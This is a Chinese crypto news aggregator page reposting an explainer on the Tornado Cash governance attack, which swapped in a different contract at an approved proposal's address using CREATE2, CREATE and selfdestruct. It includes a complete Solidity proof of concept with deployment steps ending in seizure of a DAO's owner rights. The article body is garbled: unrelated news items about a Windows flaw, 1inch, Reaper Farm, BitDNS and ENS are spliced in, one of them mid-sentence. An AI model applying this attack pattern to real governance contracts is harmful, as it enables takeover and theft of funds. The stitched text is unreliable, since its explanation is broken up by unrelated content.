買以太坊 買以太坊
Ctrl+D 買以太坊
ads
首頁 > ETH > Info

NBS:解析Tornado治理攻擊:如何同一個地址上部署不同的合約_propy幣怎么樣

Author:

Time:1900/1/1 0:00:00

大概兩周前(5 月 20 日),知名混幣協議 Tornado Cash 遭受到治理攻擊,黑客獲取到了Tornado Cash的治理合約的控制權(Owner)。

攻擊過程是這樣的:攻擊者先提交了一個“看起來正常”的提案, 待提案通過之后, 銷毀了提案要執行的合約地址, 并在該地址上重新創建了一個攻擊合約。

攻擊過程可以查看 SharkTeam 的  Tornado.Cash提案攻擊原理分析。

這里攻擊的關鍵是在同一個地址上部署了不同的合約, 這是如何實現的呢?

EVM 中有兩個操作碼用來創建合約:CREATE 與 CREATE2 。

當使用 new Token() 使用的是  CREATE 操作碼 , 創建的合約地址計算函數為:

address tokenAddr = bytes20(keccak256(senderAddress, nonce))創建的合約地址是通過創建者地址 + 創建者Nonce(創建合約的數量)來確定的, 由于 Nonce 總是逐步遞增的, 當 Nonce 增加時,創建的合約地址總是是不同的。

當添加一個salt時 new Token{salt: bytes32(。() ,則使用的是  CREATE2 操作碼 , 創建的合約地址計算函數為:

Numen發布微軟漏洞解析,黑客可通過該漏洞獲取Windows完全控制權:6月9日消息,安全機構 Numen Cyber Labs 發布微軟 win32k 提權漏洞解析。Numen 表示,該漏洞系 win32k 提權漏洞,是微軟 Windows 系統層面的漏洞。通過該漏洞,黑客可獲取 Windows 的完全控制權。

Numen 指出,win32k 漏洞歷史眾所周知。但在最新的 windows11 預覽版中,微軟已經在嘗試使用 Rust 重構該部分內核代碼。未來該類型的漏洞在新系統可能被杜絕。

此前報道,5 月,微軟發布的補丁更新解決了 38 個安全漏洞,其中包括一個零日漏洞。[2023/6/9 21:25:55]

address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))創建的合約地址是 創建者地址 + 自定義的鹽 + 要部署的智能合約的字節碼, 因此 只有相同字節碼 和 使用相同的鹽值,才可以部署到同一個合約地址上。

那么如何才能在同一地址如何部署不用的合約?

攻擊者結合使用 Create2 和 Create 來創建合約, 如圖:

1inch Network:已向解析器激勵計劃發放超150萬枚INCH:2月12日消息,DEX聚合器1inch Network在社交媒體發布項目數據更新,截止目前已向解析器激勵計劃發放1,507,992 INCH代幣,按照當前價格計算超過80萬美元。1inch Network于1月底啟動解析器激勵計劃代幣發放,總計為1000萬枚INCH。

此外,1inch Network還公布了當前主流鏈上數據,按交易額排名:以太坊(2406億美元)、BNB(326億美元)、Polygon(181億美元)、Avalanche(33億美元)、Arbitrum(32億美元)、Optimism(16億美元)、Fantom(7.291億美元)、Gnosis(1.92億美元)。[2023/2/12 12:02:19]

代碼參考自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/

先用 Create2 部署一個合約 Deployer , 在 Deployer 使用 Create 創建目標合約 Proposal(用于提案使用)。 Deployer 和  Proposal 合約中均有自毀實現(selfdestruct)。

在提案通過后,攻擊者把  Deployer 和  Proposal 合約銷毀,然后重新用相同的slat創建 Deployer  ,  Deployer 字節碼不變,slat 也相同,因此會得到一個和之前相同的   Deployer  合約地址, 但此時   Deployer  合約的狀態被清空了, nonce 從 0 開始,因此可以使用該 nonce 創建另一個合約Attack。

安全團隊:Reaper Farm項目遭到攻擊事件解析,項目方損失約170萬美元:據成都鏈安“鏈必應-區塊鏈安全態勢感知平臺”安全輿情監控數據顯示,Reaper Farm項目遭到黑客攻擊,成都鏈安安全團隊發現由于_withdraw中owner地址可控且未作任何訪問控制,導致調用withdraw或redeem函數可提取任意用戶資產。攻擊者(0x5636e55e4a72299a0f194c001841e2ce75bb527a)利用攻擊合約(0x8162a5e187128565ace634e76fdd083cb04d0145)通過漏洞合約(0xcda5dea176f2df95082f4dadb96255bdb2bc7c7d)提取用戶資金,累計獲利62ETH,160萬 DAI,約價值170萬美元,目前攻擊者(0x2c177d20B1b1d68Cc85D3215904A7BB6629Ca954)已通過跨鏈將所有獲利資金轉入Tornado.Cash,成都鏈安鏈必追平臺將對被盜資金進行實時監控和追蹤。[2022/8/2 2:54:19]

此代碼來自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/

// SPDX-License-Identifier: MITpragma solidity ^0.8.17;contract DAO {    struct Proposal {        address target;        bool approved;        bool executed;    }    address public owner = msg.sender;    Proposal[] public proposals;    function approve(address target) external {        require(msg.sender == owner, "not authorized");        proposals.push(Proposal({target: target, approved: true, executed: false}));    }    function execute(uint256 proposalId) external payable {        Proposal storage proposal = proposals[proposalId];        require(proposal.approved, "not approved");        require(!proposal.executed, "executed");        proposal.executed = true;        (bool ok, ) = proposal.target.delegatecall(            abi.encodeWithSignature("executeProposal()")        );        require(ok, "delegatecall failed");    }}contract Proposal {    event Log(string message);    function executeProposal() external {        emit Log("Excuted code approved by DAO");    }    function emergencyStop() external {        selfdestruct(payable(address(0)));    }}contract Attack {    event Log(string message);    address public owner;    function executeProposal() external {        emit Log("Excuted code not approved by DAO :)");        // For example - set DAO's owner to attacker        owner = msg.sender;    }}contract DeployerDeployer {    event Log(address addr);    function deploy() external {        bytes32 salt = keccak256(abi.encode(uint(123)));        address addr = address(new Deployer{salt: salt}());        emit Log(addr);    }}contract Deployer {    event Log(address addr);    function deployProposal() external {        address addr = address(new Proposal());        emit Log(addr);    }    function deployAttack() external {        address addr = address(new Attack());        emit Log(addr);    }    function kill() external {        selfdestruct(payable(address(0)));    }}大家可以使用該代碼自己在 Remix 中演練一下。

BitDNS入選火種源計劃,將為BitCherry生態應用提供域名解析服務:據官方消息,2021年4月14日,BitDNS成為首批加入BitCherry分布式商業生態的合作伙伴。BitDNS將為BitCherry鏈上應用提供分布式域名解析服務,實現一鍵去中心化,幫助企業和個人用戶更加便捷、安全的參與數字資產交易,管理鏈上價值數據信息。BitCherry將攜手BitDNS打造去中心化的網絡生態系統,建立安全便捷的鏈上分布式商業生態體系。[2021/4/14 20:18:34]

首先部署 DeployerDeployer , 調用 DeployerDeployer.deploy() 部署 Deployer , 然后調用   Deployer.deployProposal()  部署  Proposal 。

拿到 Proposal 提案合約地址后, 向  DAO 發起提案。

分別調用 Deployer.kill 和  Proposal.emergencyStop 銷毀掉 Deployer 和 Proposal

再次調用 DeployerDeployer.deploy() 部署 Deployer , 調用 Deployer.deployAttack() 部署  Attack ,    Attack  將和之前的   Proposal 一致。

動態 | 以太坊域名服務ENS將加入多代幣支持,未來可解析至比特幣地址:go-ethereum和以太坊域名服務(ENS)核心開發者Nick Johnson今天在Twitter 宣布,已經提交了ENS以太坊域名的多代幣支持,該提議通過后ENS以太坊域名將支持解析域名到多個區塊鏈地址,其中甚至可以包括比特幣地址。這也意味著,ENS以太坊域名將可能成為跨鏈的域名系統,用戶可以通過一個域名在多個區塊鏈間互通,未來只需要向其他人展示自己的ENS以太坊域名即可。目前已經有多個數字加密貨幣錢包支持ENS以太坊域名,在使用以太坊錢包進行轉賬時,不需要再輸入冗長的以太坊0x 地址,而只需要輸入短地址即可。[2019/9/9]

執行 DAO.execute 時,攻擊完成 獲取到了 DAO 的 Owner 權限。

區塊律動BlockBeats

曼昆區塊鏈法律

Foresight News

GWEI Research

吳說區塊鏈

西柚yoga

ETH中文

金色早8點

金色財經 子木

ABCDE

0xAyA

Tags:BSPNBSPROSALBSPNetworknbs幣未來價格propy幣怎么樣SATSALL幣

ETH
加密貨幣:加密 ATM 運營商 Bitcoin Depot 在納斯達克上市_騙子讓我買加密貨幣

作者:Jamie Crawley,CoinDesk;編譯:松雪,金色財經全球最大的加密貨幣ATM運營商Bitcoin Depot與特殊目的收購公司(SPAC) GSR II Meteora (G.

1900/1/1 0:00:00
ETH:Binance 研究院報告:當流動性質押進一步發展為 LSDFi_LST

作者:Binance Research;編譯:白話區塊鏈 TLDR 流動性質押:由于提款減少,整體質押的 ETH 正在經歷指數級增長,這可以歸因于較低的流動性風險和 LSDfi 協議的日益普及.

1900/1/1 0:00:00
ARIA:Variant Fund合伙人再論Web3社交網絡應資產優先還是觀念優先_ANT

作者:Lijin, Variant Fund合伙人;翻譯:金色財經cryptonaitive我看到兩種構建 web3 社交的主要方法:資產優先或觀念優先.

1900/1/1 0:00:00
NCE:Binance新幣投資收益分析:Top1的專屬詛咒_Cudl Finance

作者:0xLoki,來源:作者推特0xLoki@Loki_Zeng,New Huo Tech Prev.依據Binance Listing公告信息.

1900/1/1 0:00:00
ORDI:BRC-20的數據安全性:實踐中被徹底刪除可能性有限_比特幣最新消息新聞24小時

在前面介紹BRC-20/Ordinals的文章中,我寫到理論上BRC-20/Ordinals的數據有可能被刪掉。在文章末尾,有讀者提出了不同的意見.

1900/1/1 0:00:00
加密貨幣:在市場暴跌時分紅7000萬港元 香港首個幣圈合規對沖基金瞄準富豪_比特幣

作者:羅飛,騰訊新聞 那個因幣圈而喧囂了幾個月的香港,終于安靜了下來。騰訊新聞《潛望》于6月下旬在香港中環核心地段的辦公室見到葉一舟時,他表示更喜歡現在這個樣子的香港,之前那個給他的感覺不真實,

1900/1/1 0:00:00
ads